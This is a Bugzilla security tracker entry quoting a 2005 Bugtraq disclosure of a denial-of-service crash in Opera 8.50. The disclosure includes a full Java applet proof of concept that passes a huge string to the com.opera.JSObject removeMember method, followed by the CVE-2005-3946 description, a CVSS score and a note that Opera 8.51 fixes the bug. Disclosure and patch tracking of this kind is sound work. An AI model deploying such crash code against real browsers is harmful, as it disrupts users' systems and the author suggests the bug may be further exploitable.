Bugzilla – Bug 136255
VUL-0: opera: can be crashed with java-applet due to bug in native routines
Last modified: 2009-10-13 20:41:01 UTC
Hello Lukas, we have another one. Date: Wed, 30 Nov 2005 00:31:29 +0100 From: Marc Schoenefeld <marc.schoenefeld@gmx.org> User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) To: Bugtraq <bugtraq@securityfocus.com> Subject: Opera 8.50 DoS with simple java applet Envelope-To: tom@electric-sheep.org Hi y'all, it is possible to crash the opera 8.50 browser with a simple java applet (see below). This was observed on Win32, Linux versions maybe affected, too. This can be tested only at: http://www.illegalaccess.org/exploit/opera85/OperaApplet.html As you can see the applet crashes at 0x67c0a54c. This is caused by a bug in a JNI routine implementing the com.opera.JSObject class. It cannot be ruled out, that this bug is exploitable. The opera guys were informed on the 21st of September, and then again on 8th of October. Please upgrade to the new Opera 8.51, which does not expose this weakness. Sincerely Marc Schönefeld marc@illegalaccess.org >import java.applet.Applet; >import java.awt.Graphics; > >import netscape.javascript.JSObject; > >public class OperaTest extends Applet{ > static { > System.out.println("Loaded 1.2"); > } > public void paint(Graphics g) { > System.out.println("start"); > try { > netscape.javascript.JSObject jso = JSObject.getWindow(this); > System.out.println(jso.getClass()); > com.opera.JSObject j = (com.opera.JSObject ) jso; > char[] x = new char[1000000]; > for (int y = 0 ; y < x.length; y++) { > x [y] = 'A'; > } > String z = new String(x); > System.out.println("after evalb"); > j.removeMember(z); > System.out.println("after remove"); > } > catch (Exception e) { > e.printStackTrace(); > } > } >}
CVE-2005-3946 Opera 8.50 allows remote attackers to cause a denial of service (crash) via a Java applet with a large string argument to the removeMember JNI method for the com.opera.JSObject class.
Will be fixed shortly by #134905
As 8.51 reportedly fixed the problem, the bug is solved; Bug 134905 has been resolved already
CVE-2005-3946: CVSS v2 Base Score: 5.0 (AV:N/AC:L/Au:N/C:N/I:N/A:P)